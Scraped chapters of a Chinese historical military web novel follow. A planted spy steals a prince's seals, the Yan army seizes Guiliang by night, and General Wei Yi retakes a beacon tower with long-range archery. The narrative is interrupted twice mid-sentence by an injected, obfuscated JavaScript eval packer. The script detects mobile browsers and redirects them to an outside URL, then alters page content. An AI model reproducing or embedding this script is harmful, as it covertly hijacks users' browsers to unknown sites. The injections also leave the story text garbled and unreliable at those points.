更过分的是,因为被张丙乙骑马赶路搞出来汗臭,罗易特意去了后院一趟,从放在马车的行装里挑了一只平素不太喜欢的荷包来装这枚“信物”,用力拉紧荷包收口的绳结,绑了个结实,然后才揣进怀中。 回到宴席上,悄声安排秦琼和朱愈,“别吃醉了,恐要生变,做好准备。”二人会意,“这时节,自是不会真的烂醉。” 暗中捏一捏藏在怀中的丑荷包,大事将发,这东西在自己手中也许有用。 89. 哨不归 被郑予磨了老半天,没有办法把周冲的事情说出口。 若他只是出任务牺牲,称得上壮烈,回去了,给他请旨抚恤加封,一切都很坦荡。 可真实情况是,周冲叛得挺彻底,没伤人也罢,偏偏他把丕州长史给杀了,那案子柳爚心中有数,暂时压下来没有发海捕文书,缓一段时间,仍是要发海捕文书的,那会儿,周冲就是通缉犯了。 郑予和周冲年纪相仿,年轻气盛,天赋过人,约好了要一起建功立业。 面对他,真是没法说。 韦祎记得,郑予幼时出身佛心派外门,练就一身好拳脚。 十三岁时,佛心山附近有一伙团练帮派,在中原四处除匪,路过郑予家乡,正巧郑予在佛心派外门混不下去了,慕名加入除匪帮派之中。 匪帮要除去,民间的“除匪帮”太过壮大也不成,都是非法武装! 于是,几年后朝廷招安了这一伙团练帮派,将其分散到各军之中安置,郑予到了京畿城防军。周冲也是那会儿被分到城防军的,这俩人小时候各有一番辛酸过往,格外惺惺相惜。 “这都什么时辰了,你还在这缠着中郎将。”半夜,钱氿终于来了,也许是看到了中军大帐里仍亮着灯,过来解围。 “氿哥。”郑予不情不愿地皱皱眉。 松了一口气,看见钱氿带着郑予走远了,自己也出去溜达一圈,看看布防情况好了。 隐约能听见郑予问钱氿,“是不是中郎将派周冲做事,遇到危险不去救他,才让周冲死在外面了。” 钱氿当然扯些别的说不是。 闲逛着,大部分营房都熄灯了,士兵们安寝,剩下巡哨的人在列队行进,想一想,郑予说的不全错,何尝不是自己没有护住周冲。 一偏头,看见肖丰的帐子里没熄灯,肖丰正站在帐子门口穿里衣,他也看见闲逛的韦祎了,露出森森白牙笑笑,脚边放了一桶水,布巾搭在桶沿上,在滴水,好像是刚刚擦洗来着,深秋,竟不嫌冷。 呵,怪不得钱氿去营帐里换公服盔甲要换那么久。韦祎感觉自己早已被八卦传闻洗脑了。 “中郎将。” “嗯?” “叛了就叛了,死了就死了,干这行难不成盼着长命百岁吗,关你何事?” “我知道。” “何必瞒着郑予?” “喔,我没让你保密啊,你不也没告诉他,问我?” 肖丰垂下眼睛想了想,无话可说,他自己也没办法对郑予开口,毕竟年纪还小,残忍的现实总要面对,谁都不想做推他面对的那个人。拎起水桶找地方泼掉,回营帐中去了。 不想推别人去面对,许是因为自己内心里也不想面对。 夜里没得睡,躺着打坐。 第二天一早,当班兵卒在门口叫起,说早饭好了。韦祎听着,叫完了自己又去叫旁边营帐的云攸纾。 洗了脸,听到隔壁乱撞东西的响声,大概是叫太早,犯起床气? 马上,只穿了一件里衣的云攸纾光着脚丫子跑来韦祎这里,直接掀开营帐跑进来,正在更衣的韦祎第一反应是一把提上裤子。 “小祖宗哎,怎么了这是?” “韦子隽你快去看看,我的东西全都没了!” “什么?” 穿上行军的常服,蹬上靴子,跟着云攸纾去他的营帐。 没有被翻动的迹象,只是营帐内的一切私人物品都没了,干干净净,一点儿不剩。 “谁啊这是,怎么不发一发慈悲,把这个小祖宗一块抬走呢。”抬手掩额,头疼。 “你说什么,你嫌丢得不够多是吗?” 韦祎就地坐在云攸纾的床铺上,“你想一想,替你搬东西的时候,可有人翻看过你的包裹?” 从云攸纾到达军营,全然放在监视范围之内,夜里也一直留意着。自己打发了郑予他们之后,出门绕营地转了一大圈,只有那两柱香的时间里,云攸纾不在监听范围内。 一屁股坐下,旁边的韦祎拍一拍他后背,“深呼吸,仔细想,不要着急。” “不着急?东西都被人偷了!” “着急没用不是,人心里越焦急,脑子越是转不动,你慢慢想。”安慰别人,韦祎自己却觉得挺烦,怎么就没有消停时候。 包裹里有郡王官服、官凭印信,银两,平时的换洗衣裳,还有些小玩意。 要紧的,就只有证明身份那一套东西。 “我想起来,扎营帐搬动的时候有个包裹散开,可能是被人看到了。” “知道了,去听听外面有什么消息。” 召集诸军报数,回报,少了十个人,是夜间最晚一班的巡哨,至今未归。 钱氿跟着听了,眨眨眼,有意思,现在都寻早哨了,最晚一班夜哨已经过去了两个时辰,两个时辰的时间,没有人来中军大帐报告巡哨兵失踪,不存在韦祎睡死过去没听见的情况,那么,得去看一看昨晚谁负责查哨。 “报!中郎将,后勤队草料班有一人未到!” 韦祎:“后勤队长上前回话。” “报告中郎将,昨夜最后一次点名的时候回报他刚喂了马,今早起来就没见着他,以为他是提早出去干活或是解手的,您让点数,我们翻了翻东西,发现他包裹行礼都带走了,应该是逃了。”后勤队长缩缩脖子,生怕被骂。 “叫什么?” “中郎将!小的叫吴三瓜!” “没问你叫什么,我问那个失踪的叫什么。”韦祎暗暗叹气。 “叫…他叫赵六而。” 听这个名字,需要分析,是赵六、赵六儿还是赵六而。 韦祎:“姓赵啊,燕人姓氏?” “对对对,他家祖上是燕人俘虏,分到顺天郡当军户。” 京畿附近都能混进来燕人暗探吗?就算他家祖上是燕人,将近百年过去,大齐待他们不薄,心里仍向着燕国?不至于吧。 让人叫来平日与赵六而相熟的兵卒。 “赵六而最近可有什么与平时不同的举动?” 没有,举止行动如常,偶尔抱怨力气活太累,起得太早。既没有变得少言寡语,又没有故意遮挡面部,身高体型声音都没有变化。 不是被人冒充的。 肖丰带人出去找失踪的夜哨。 钱氿身后跟着郑予,来到了中军大帐。 “不会吧,昨晚你查夜哨?”韦祎双眼无神,若是庞仁或者曲喆那边的副将轮值昨夜查夜哨,自己还能侥幸的想一想,不是自己的问题。 竟然是自己的人,等会儿曲喆又要来说酸话了。 “为何啊?说说吧。”钱氿爱莫能助地拍一拍郑予的肩膀。 “中郎将,此事,此事不能怪我,巡哨是混编,夜间一趟哨是咱们的人,二哨是庞将军那边的人,三哨是禁军的人,他们三哨向来不找我报归!” “这是个什么理由?”钱氿先发问,“我和肖丰查夜哨的时候,一向是正常报归。” “氿哥,刚出门时肖大哥把这三千多人里面敢出来挑战的都揍服了,然后就跟着中郎将单独行动,剩下的人越发不服,又不敢找你们的麻烦,当然在我当班的时候找事,这两个多月,从来不报哨归!” 韦祎:“这两个月都有问题?你怎么不早说?” 梗着脖子憋了一会,“早说了又怎么样,他们不敢找你们的麻烦,只在我当班的时候不听管教。” “他们不报哨归,你就不去找他们?”钱氿也是不懂了,别人不听话,就不管了? 跟他没话说了,问韦祎:“怎么说?中郎将,揍他?” 拉出去打二十军棍?算了,打坏了还得叫别人照顾,先记着。 “是他们禁军的人从不报哨,凭什么罚我?要是以此类推,岂不是应该罚中郎将?” “你小子真是屁股痒了,嗐。”摇头,钱氿看出来韦祎不想揍他了,这孩子又不知错,得了,先这样吧。 “报!肖将军在外围找到失踪的夜哨队了,请中郎将前去!” 郑予:“我也去!” “你小子消停点吧。”钱氿一巴掌拍过去。 “氿哥,你也怪我?”等韦祎跟人走了,郑予对钱氿不满了,“你让中郎将打我军棍?” “是为你好。” 挨军棍向来要在军前明刑,众军旁观,丢脸丢大发。 “我从军三年,从没挨过军棍,这次又 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十名巡哨兵齐刷刷被人扒了个精光,只剩一条衬裤,团团捆在一起,亲密无间,袜子拔下来塞在嘴里,恐怕不是自己的袜子而是别人的袜子,十分惨。肖丰找到了他们也不想解救,冷着脸站在一旁看他们挣扎。 这深秋夜里被人扒了衣服,不冻个半死就是大西北的山地给面子。 军中查出了是怎么回事。 后勤的人给云攸纾扎帐篷搬东西的时候,包裹散了,有人看到了里面的官服,回营房嘀咕起来。 潜藏在军中的赵六而听见了,怂恿巡哨的兵卒给这个外来的不知道什么官儿来个下马威,顺便闹事膈应这位韦将军,把东西给偷了个干净,趁着巡哨的时机丢在野外。 到了野外,一伙人冲了出来,和赵六而一起,把哨兵给打了,扒掉衣裳团团捆起来,本想要把这些人都杀了,可是赵六而求情,说他们横竖都要死,念着从前的同袍之情,暂留他们性命也罢,捆而不杀。 扒掉衣服是为了什么? 稍微动一动脑子就知道坏事了。 他们现在有郡王的官服印信,又有使团军的军服。 这个配置,带人叫开归良郡城门不在话下。 城外驻地的使团军只是出了点小乱子,惶惶不安罢了,城内就不止是惶惶不安这么简单了。 寅时中刻。 天亮前最为困倦之时,“紧急军报!叫开城门!”“紧急军报!叫开城门!” 一队人借夜色靠近郡城大门,夜间戍守点亮火把,下城问话。 既然看见了来人身穿大齐军服,当然要问个明白:“来者何人?” “我们是京城出使西域的队伍,我乃东平郡王!在山里遇见了燕军,请归良郡打开城门放我们进城避险,同请银州太守大人点兵救援!” 守城军士不敢怠慢,验过了印信官凭确实为真,开了城门放他们进去。 这一进去就不得了了,除了打头的十一个身穿军服之人,后面黑压压跟着几百名黑衣战士,城门一开,一齐涌进城中,瞬间便抢夺了城楼的控制权。 随即,趁着夜色赶到银州太守府,以同样的方法叫开府门,占据了太守府邸。 城中惊变,寻常百姓在睡梦中来不及察觉,夜里一直没睡的罗易心中觉得不妥,出门来看看。 一开门就立刻关上,太守府起了大火,远望城楼上,已经挂上了燕国军旗。 并非毫无抵抗,一郡二府,银州太守府沦陷,归良郡守府还在,郡守组织了兵力抵抗,大街上已经乱了。 “都这样了找官府报信有什么用,说出事立刻就出事了,先想办法出城去。” 酩酊大醉的当地镖师们被叫起来了,“这……一夜的时间,怎么城中惊变至此啊,刚才在街上打听了,归良城是守不住的,郡守带着剩下的残军守着南城门,城内百姓赶快从南城门出城避难!我们一起走吧!” 单算镖局里面的人都在议论纷纷——要不要逃。 他们自来便是银州归良郡的人,而银州在百年前,又是燕国土地。此时大家自认是齐国人,但燕国人真的打来了,占了城,是逃离,或是留下来? 逃出城去,也许此生都再难回到家乡。 “南城门可以走,看他们驻军的地址,是在城西面,要从山地里绕过去吗?” 90. 狼烟塔 一支火油箭从墙外面射进来,扎在了朱愈脚边,咻地往旁边一跳脚,跺跺把火苗踩灭。 “附近也开始起火,看来城内反抗的力量不少。” “我等都是习武之人,该奋起抵抗窃取银州的燕军才是!”一位当地镖师摸出了武器。 被另一镖师拉住,“你这是说什么傻话,燕国也有咱们的商行,不管是开在燕人的地方还是开在大齐,我们一样赚钱,何苦为了什么抵抗军队丢掉性命。” “慎言!”局长骂道,这种话千万别被外人听到,不然罗氏要背个卖国的罪名,“东家小姐可有什么见教?” “你们是走是留,你们自己拿主意,只不过我们要出城一趟给人报信。”罗易环顾一圈,褚先生,先带人与我一同去城南门,局长是否要和我们同去?” 有马,脚程好办,提刀上了马只管冲就成,街上的是散兵,多少有几个想趁乱在民宅中掳掠的燕人军士。 归良郡的镖局局长举棋不定。 留在城中是个选择,去城门处和郡守带的军队汇合也是一个选择,最终决定自己带一半的人在城中蛰伏,让自己的儿子带上其他人与罗易一起出城去。 “那好,我们应该可以回来,有什么情况便用烟火和暗信联络。” 借着一点晨曦,在街道上过五关斩六将的,快到了南门的时候骑马不好使,想要逃出城去的普通百姓太多,拖家带口,拉着行李物品,把路都给堵上了。 挤到了一旁,拿出韦祎事先留在自己这里的名帖,见了郡守一面,出了城就不必这许多人一起同行,归良郡镖局的人、褚先生的人都留给郡守一同帮忙守住南门,罗易只带了朱愈和秦琼,骑马进山路,绕往使团军的驻地。 已经是早上了,出了这么多事,屁股不可能坐得住椅子,夜里从城里赶回来的张丙乙顶着两个大黑眼圈想起,他昨晚回来的时候,就在这条路上迎面遇见了一伙提着沉重包裹的人,只以为是错过了宿头的普通客商。算一算时间,再回忆起,他们的包裹碰撞是金石之音,显然装着盔甲兵刃,就是这群人扒了哨兵衣裳。 “都怪末将,若是昨晚就想到这群人不妥,我们不至于现在才反应过来。” “怪不到你身上,他们扒了军服没有立刻换上,看起来和普通百姓无异。你看清他们往哪个方向走了吗?” “通往归良城的路,这附近的山路都是通到归良城的。” “暂时先在这里驻扎,我带人去归良郡,把丢失的印信找回来。钱氿你留下,看好熊孩子,”匆匆和庞仁、曲喆见了一面,自己这个不靠谱的访西域正使带着肖丰以及一百人的小队伍上马离开营地,这次不用换便装了,穿好铠甲拿上武器,打起来方便多了。 特意带出来的那把大弓得见天日,挂在马鞍侧边,另一侧挂着乌木剑和箭壶。 带上特质大弓本是防备着西域的朝廷想要比武,到时候别在西域小国给大齐丢面子,路上没计划着用。 更实用的,沉甸甸满当当一包铜钱。 穿便服的时候嫌带铜钱看着怪,谁没事带一兜子铜板啊?穿军服的时候别人不敢多看你,所以方便。 南门出归良郡跑了十几里路,离开官道进了山,终于看不见四散奔逃的老百姓:“符怜,玉芝,老储不在,顺风耳也不在,荒郊野外的终于算个能说话的地儿,我先把事情交代了,分别后你们见机行事。” 等到把话说完了,秦琼举手发言:“要不要顺燕军围城的便利,把褚先生留在这。” 罗易:“他这会儿正在守南门通道呢,若是等咱们回去他仍手脚齐全地活着,这一趟就算了,那么大年纪了,回乡再商量。” “小姐跟韦将军学心软了?” “嘿,心软有什么不好,快点做慢点做不都是那个事儿,我倒是不希望小姐逼迫自己那么紧。” “我就在这呢,能听见。”罗易开口提了个醒。 两伙人骑快马在官道上交错而过,双方差点没认出来彼此,各冲出去几十丈远才勒住马,掉头退回去。 罗易他们三个从城里冲出来时烟熏火燎,衣裳烧了好几个洞,熏得灰突突的,沾得血迹斑斑,罗易的头发被火油箭刮了一下子,燎着了,灭火及时,没损失几撮头发,没闲心停下来重新梳发髻,只用手帕简单在背后系成了一把。 把韦祎从人头顶看到马蹄子底下,“子隽,我没见过你这套行头,好生英武,让我好好看看。” “你怎么在这?”韦祎觉得自己脸上迅速烧红,当着这么多人的面呢,怪不好意思的。 擦肩而过时没勒住疾驰的马,但脑子反应出这位是罗易了,一身烟灰和血迹,头发乱蓬蓬的时候,也好像身侧划过的一道光。 在马上她会微微咬着牙,总是把缰绳攥得很紧,但腰身挺直。看多了可以发现,她在马背上有些紧张,但是她要让人看不出来她紧张。 罗易:“正要去找你,看我们这一身能猜出来吧?郡守说是夜间奇袭,城上已经挂起燕人旗了!” “这么快?都没见狼烟起。” 归良郡沦陷和韦祎营地里的东西被窃取有直接关系,竟然这么快,这么迅速,却是没想到。归良郡不会这么玩不转吧,真要中计是够蠢的。 出使大军队伍里本身就有探子,这一路上行程路线保密是彻头彻尾地没有用。 罗易:“说什么狼烟呢,全城就剩下一个南门还能走,狼烟塔都被燕人给占了,郡守想去点狼烟,一靠近就被塔上的箭给打走,靠近不了。” “四座狼烟塔都没了?” “一个不留。” 这段写进史书里一定是齐国的奇耻大辱,一夜让敌军奇袭全城,点狼烟都来不及。仔细想想,最好别写这段历史,要写,自己的名字一定会被记进去。 不对啊,写不写历史是自己说了算吗? 从罗易在这停下来,身后这一百人瞬间点燃了窃窃私语,这姑娘谁啊?咱们未来的将军夫人啊! “那走吧,一起回城里,路上跟你说,我得去城里把东西偷回来。” “就带这么几个人?” “就带这些,顶多帮他们夺狼烟塔,我们的配置没法打持久战。” 罗易、朱愈、秦琼三人调转马头,跟着百人队伍转身回到归良郡南门。 “哎呀呀,罗小姐!没想到,您真能搬来救兵,这位将军是?” “郡守大人,这位是安军中郎将韦祎,韦将军。”张丙乙上前一步,为归良郡守介绍。韦祎向来不喜欢这些官场礼仪,没办法,没有上位官员向下品级官员出口自我介绍的说法,只能静默不言,等属下向郡守介绍。 “韦将军,敢问您是从何而来啊?下官,下官无能,着实不懂行军之事,只能带着城防和衙役勉强守住此门,放百姓出城去,事发突然,实在无力抢回狼烟塔,因而无法点上狼烟向军方报信,惭愧,惭愧。” “郡守大人无需多言,我恰巧在附近,正需要进城去做些事情。” “那您……”郡守四顾,韦祎的大名他当然听说过,不知道这位韦将军什么意思,他要不要帮我夺回狼烟塔啊? 往前一望,人都没影了。 “大人,将军上去了,看上面。”旁边手下提醒。 上城楼。 肖丰:“狼烟塔就在城外,没多远。” 塔高四层,只比高城楼低那么一点点,“让人去试一试。” 十个人拿起盾牌,从城楼下试图靠近狼烟塔。 一旦进入到射程内,狼烟塔上乱箭齐发,盾牌都不能挡住,十人很快就全退回来了。 “人不多啊,塔下没有人,塔顶不到十个人。” “怎么看出来的?”罗易不知道什么时候也出现在了城楼上面,“我可以站这吧?对面狼烟塔不会把箭直接射到城楼上吗?” “没事,早就超过射程了,但你还是靠墙站吧。”韦祎把罗易拽过来贴墙,“这样躲着,偏过头来观察,人数是按照发箭的数量反推的,他们人不多,夜间奇袭,对方本就不可能准备太多人,只是躲在塔上了。” 罗易点点头,眼睛没离开韦祎身上,她的关注点不在对面狼烟塔,而在身侧此人。 “我下去带人夺塔,破防交给中郎将了。”肖丰终于觉得自己在此处有些多余,好似一盏明灯,赶快离开。 罗易:“塔上的人交给你?要怎么做,箭不是够不到吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15395840|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是他们的箭够不到。” 往下看,肖丰带了几十人逼近狼烟塔,偏偏不进入射程,就在射程外面待着,塔上的人不敢下来,双方僵持。 随即,肖丰欠兮兮地往前跨了一步,楼上立刻有一支箭飞向他,他不举盾,直接伸手把箭抓住了,反手折断,花式挑衅。 塔上的人很吃这一套,立刻有更多箭飞了下来。 既然要射箭,就一定要站到窗口那里去。 远在城楼上的韦祎弯弓搭箭,一次只用一支箭,不直瞄,向天上发,箭在天空上划出一大道弧线,达到最高点后从空中“掉”进了狼烟塔的窗户里,穿过了一个敌人的咽喉。 “唔……不戴手套不行啊。”韦祎松开了弓弦甩甩手,弓弦力气太大,射程远了,更勒手,“我下城楼去拿手套。” “不必,我拿上来了,在你的鞍袋里拿的,记得你和我堂哥在我家里射箭时戴了,幸好你没把这东西忘在大军营地里。”罗易抬手,亮出那只铁手套来,“韦将军请伸手吧。” “嘿嘿,劳烦,劳烦。” “子隽,你算学很好?” “我娘一定不赞同这个说法。”韦祎戴上手套,活动一下,又架起弓来。 “令堂大人是算学大家,自然要求高些,这算学书上说,把物品抛出一个弧线来,会落在何处能够计算得出,你这样瞄准,是心算出来的?” “不是,我算学真的就一般,凭感觉而已。”韦祎自觉当不起这句夸。 狼烟塔上的人躲起来了,但下面又有肖丰带着一队人试探,不敢真躲,还是要探出头来射箭,所以,就都变成了韦祎的活靶子。 很快就不剩几个人,缩在狼烟塔内的隐蔽处,被肖丰带人冲上楼去灭了个干净。 “劳烦,郡守大人。您有夜行衣吗?” “夜行衣?这,下官身领朝廷信重,向来遵规守纪,不做阴诡行事,怎,怎会有夜行衣这等物品?” “我不是说您阴诡行事,是我想用,我要去城里一趟,穿这一身不方便。还有,暂时不要点起烽火,稍等半个时辰,半个时辰后,无论我回不回来,都把烽火点上。” 罗易:“大白天穿夜行衣,你怕别人看不出来你形迹可疑?” 说得也是,“劳烦您给我一套平民的衣裳。” “我在这等你。可有什么要我做的?” 韦祎:“怎么不多嘱托我几句,我还等着听。” 罗易:“不嘱托你注意安全你就不注意了吗?这不废话。” “也对。这儿算是安全,稍后我便回来。” 独自逆向而行,从蜂拥出城的百姓中挤过去。纵使脚程快,也花了两柱香的时间,到了银州太守府门前。 当然不走正门。 不知道太守是不是还活着,若是他活着,说不定能顺便救出来。 韦祎没走归良郡的东门,又没有向郡守问起这件事,若是问起了,就会知道太守的尸身正挂在归良郡东门城楼上。 燕军的做法向来如此,破城斩将,将城中官员的尸首挂在城楼上示众。 银州东临丕州,把太守的尸身向东悬挂,意图向大齐示威。 还有一个坏习惯。 北燕国的历史比立国未满百年的大齐长多了,所谓的“传统”根深蒂固——凡是夺得土地,放纵士兵掳掠三日,以示嘉奖众军。 观城中迹象,至今为止,燕人并没有在城中大肆掳掠,只有几个兵卒管不住手脚趁火打劫,不知道是不是因为局势不稳,或是念及银州在百年前本属于燕人,今天城中百姓身上仍有燕人血脉,所以举止克制,怀柔行事。 自然,有许多百姓想到了这一点,并不想逃出城去,留下,不用流离失所,说不定也有活路。 太守府内兵卒不少。脱下了昨夜行事时穿的夜行衣,换上早就藏在城内的军服盔甲,一位将军服色的美髯壮汉坐于太守堂前的位置上,安排众军,谋划彻底夺下归良郡。 “北边的玉仓郡已经拿下来了,南边的岑金郡也已经开始行动,银州终于迎来收复之日,我们要赶快把归良给握在手中。只有一点,绝不能被拓跋海那个莽夫赶在我等前面抢得头功!南门的情形如何?” 91. 枕戈歇 “那东齐国的郡守负隅顽抗,仍在南门与我们僵持,百姓都挤到南门去了,我们人手不够,守住东门西门已经勉强,一时无法顾及南边。” “大军驰援即刻就到,最迟今晚,且让他守,只要他们点不着烽火,今晚就是他的死期。吩咐我的将令下去,不准掳掠百姓,这里本就是我大燕的土地,此地子民都是我等同胞兄弟姐妹,诸君清楚,我们要的不是一座空城!谁敢掳掠,严惩不贷!” “得令!” 听到这里,房梁上的韦祎稍微放下心来。 不屠杀百姓就好,城池,很快就会夺回来的。 美髯壮汉见了赵六而一面,许诺他许多金银赏赐,刚才将士们都在说燕人话,韦祎听起来没什么障碍。这赵六而果然是在京畿附近长大的,他不会说燕人话,美髯将军嘱托他赶快学会母语,好真正回归大燕国。 这位美髯将军会说大齐官话,非常熟练,毫无口音,怪不得会被派来银州委以如此重任,也许他就是素日里常常来往的燕国“商人”之一。 跟着赵六而走,他在易主的太守府里面有一间狭窄的侧厢房暂住,依此来看,这北燕人没把他当一回事。 越过窗户飞身上房梁,摸了一把铜钱扣在手中。 赵六而刚刚脱下了郡王冠服,这些用来冒名顶替的东西,美髯将军没说要怎么处理,把这套东西仔仔细细摸了个遍看了个遍,纵使这衣裳再用不到了,那绣线是金银丝,头冠上是金子,不妨自己留着,卖些钱也好。 等了一盏茶的时间,这位终于叠好了衣裳,要出门去了。韦祎看他叠衣裳心里发毛,那表情,那手法,和黑市下等窑子里猴急猴急在巷子中就直入正题的“客人”没什么两样,体面都不讲的。 官差当太久,韦祎差点就要自己躲到一边挥挥手说“围起来都抓了”。 于是,等到自己拿起这件衣服时,怪恶心的。云攸纾的印信、官凭都在赵六而房中,很容易找到,一起包起来,另找到两张银票一钱袋银子,一并带走,不管是不是云攸纾的。 脚步声。 韦祎耳朵一动,铜钱在指间,待来人一推门,没叫出来,一枚铜钱飞进他口中,就掐着自己的脖子咳嗽个不停了,双眼充血,别想叫出来。 他最好别看清我,闪身出门去,“追?” 又一枚铜钱飞出去,以韦祎的力道,赵六而的胫骨应该会断裂一段时间。 功成身退,正赶上城南门处归良郡守按时点起狼烟,太守府内的燕军看到狼烟一阵大乱,趁乱就出去了,混在百姓当中一起赶到了城南门。 “韦将军,您回来了!下官等得实在心焦啊,将军敢以身涉险,前去城中,下官佩服,不知道点了狼烟,是岑金郡来驰援还是玉仓郡来驰援。” “郡守大人随我借一步说话。” 几人一起上了城楼内僻静处,韦祎才把岑金郡和玉仓郡皆已沦陷的消息告知归良郡守。 郡守想要踉跄跌倒,被肖丰在身后一把抄住,不让他跌,一回头看见肖丰的脸,双重惊吓,两只手在半空中僵着,双腿半弯不弯,屁股发凉,呼吸不畅,心脏都跳不动了。 “郡守大人不如随百姓们一起前去丕州,不要待在附近的县城,银州今夜之前就会有燕国大军过境,守不住了。” “可是,韦将军您,您都在这里了,归良也没救吗?” 还把我当救命稻草了,我又不是大罗神仙,这情况怎么救?“郡守大人已经尽力了,和百姓一同离开吧,大人深谙归良郡境况,日后反攻银州绝不可缺了您,万不可在此意气用事,一味苦守。” 等郡守颤颤巍巍摸着墙下城楼去了,罗易问:“你接下来要如何?” 掂一掂手中包裹,“该拿的拿到了,先往源州走吧。” 四顾此间无人,刚脱下来的盔甲就放在墙边,解下外衣,里面是暗红色的衬甲袍,重新把盔甲套上,方口布鞋踢了,穿回有铁甲的靴子,不知道刚才穿的衣裳鞋子是谁给的,鞋底子那么薄,脚后跟挂不住,走一路掉了八十次,上房梁时得着意夹着脚趾头,哪个缺德鞋店卖的? “你是穿惯了官靴,才觉得布鞋难踩。”罗易尝试拎了一把铁甲,“真沉。” “全身上下,头盔最沉。”韦祎摇头抱怨。“戴久了要磨秃头。” 罗易:“常常见到有老兵秃头,原来是这个原因。” 韦祎:“也担心担心我吧。” 罗易:“怕秃就退下来,我这个当老板的有钱,总不会饿着你。对了,昨日刚分别,这么快便见面了。” “情形不好,又见到你总是好的。银州三个郡走不成了,你还要往源州去吗?” 韦祎嫌盔甲沉,暂时不戴头盔了,在台阶上坐下。 今天迟迟不放晴,也不下雨,灰色的云彩压在天上,依照今天的天色,刚才的太守府白日都点着灯火照亮室内。 城楼为防卫而建,石头的,窗户极小,是些方方的小洞,仅能射箭而已。投进来的光线更少,一束一束方形的黯淡亮光整齐排列,打在对面的墙上。 白天不点火把,相对而立,对方的脸是晦暗不明的。 情景变成了这样,肖丰不知道什么时候悄悄下楼了,不当第三人凑热闹。罗易到韦祎身旁,在台阶上并肩坐下。 城楼晦暗里透着阴冷,好在西部不潮湿,放在东边,这种地方一定会长出苔藓来。 更让人觉得阴冷难过的是,这城,是一座将破之城,多少百姓扶老携幼在这城楼下面匆匆出城逃窜,家回不去了,他们都不知今日能够宿在何处。 “地上凉。”拽来脱下的乔装外衣给罗易当坐垫。 “多谢。源州,我是想去的,那儿是边防重地,不会像银州这样轻易沦陷。不过,要让褚先生带他的人出发回去,顾不上他了,想来渔甫在东海已经把事情办得差不多,不如让老褚回乡去。” “我还以为,你会把他给弄得客死异乡。” “又不想了。”褚先生此人,罗易很熟悉,他有什么隐疾有什么爱好都清楚,一狠心也就成了,不过,夺权而已,大势在自己这边,细想其实没必要趁乱弄死这位照料自己长大但已经离心离德的老者。 “都好。”韦祎点点头,借着微弱的日光打量身边坐着的罗易,“罗老板今日的坐姿好生雄壮。” 大剌剌支着腿,衣裳破破烂烂的。 “又不见外人,端着姿态多累啊,昨晚就没睡成,今天跑了一早上。” 韦祎:“前天晚上在山里冻着,白天赶山路,到了晚上又不睡,今天还有精神,在下佩服。” 罗易看着韦祎想靠过去,“你这盔甲上的铁刺……” “盔甲嘛,敌人靠近过来可以用盔甲扎他。” 把罗易给逗笑,她不靠过去了,用自己的胳膊支着脸,“不知韦将军是否能帮忙,把我们三个带到源州去。” “事情都这样了,自然可以,不嫌劳累就在军中一起走吧。” 大齐向来重视军事,几乎各州都有充足的战斗力备用,为什么不属边境的银州被突袭了?就算北燕突袭银州,又要怎么守得住?所谓的燕国大军又怎能过得来。 除非,是北边的凉州也沦陷了。 这银、凉二州在百年前属于燕国,北燕人对这二州之地觊觎已久,每开战事,和谈里必要争取这二州,不过一直都拿不回去就是了。甚至,大齐把凉州设立为开放通商之地,边境军后退至丕州定沙郡布防。 正是因为凉州不设边境军,以便于让大齐和与凉州接壤的北燕、西域三方在凉州傕场互通有无,北燕这次才能钻空子,暗中伏兵潜入,控制了凉州和银州。 真是这么干的,北燕也太鸡贼了。 西北毗邻大漠,百姓难有出路,既然三方都是如此,不如就在此地开放通商,各国商人不耐烦过边关的,都去凉州交易,眼见着黄沙地繁华起来。 国内总有要凉州封关,巩固边防的声音,傕场之政却一直坚持下来了。 开一州之边防,利三国之民,北燕与大齐国境线绵长,无论边境上其他州郡打得多热闹,凉州皆不锁关。用这一处地方钻空子,下作。 国之相争,少有人关注手段是否下作,只是……此事一出,收复二州之地对大齐来说不算难,重新再开凉州边境,就难了。 当韦祎帮罗易重新梳辫子的时候,肖丰从楼下走来,“报中郎将,已经整队完毕,我们是现在走,或是等郡守一起走?” 韦祎:“燕人把兵力往南门集中了吗?” 肖丰:“是,勉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15423577|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强守得住。未见沿途它处点起烽火回应,恐怕无法靠烽火传信到源州或者丕州。” 韦祎:“等郡守自己赶路去丕州报信吧,烽火我们已经尽力试过了。看看郡守何时走,若是启程快,我们就等他一会。” 肖丰很快就自觉地走开,嗯,给罗小姐梳头发,真是,呃,一往情深。也是他运气不好,每次韦祎和罗易在那惊世骇俗,都是钱氿值班,他没见着,今天看着个梳头发就觉得新鲜了。 惊惶乱局之中偷得片刻安宁,惴惴不安地享受着。韦祎常常觉得,战时枕戈待旦,让休息的时光变珍贵了。 和枕戈待旦比,毫不犹豫地更喜欢整日信马由缰无所事事。 用手指当作梳子,捏一捏,被烧到的发尾轻易碎成了粉末,吹一口气就散开了,清理掉被火烧焦的几缕头发,给罗易编了一条丑丑的辫子,用手帕在发尾处扎了个结实。 罗易回过身来想要抱韦祎一把,观察,一身铁甲看起来冰凉地,肩膀上还有刺,怪扎人,锁子护颈,挡得严严实实,头盔放在旁边,勉强露出个脑袋,打量半响,不抱了。 稞国之战时做的这套铠甲,回来后被贬官了不能用这套,也用不上,在城防军一直穿城防军制服铠,现在又升回了正四品,所以把这套找出来穿。 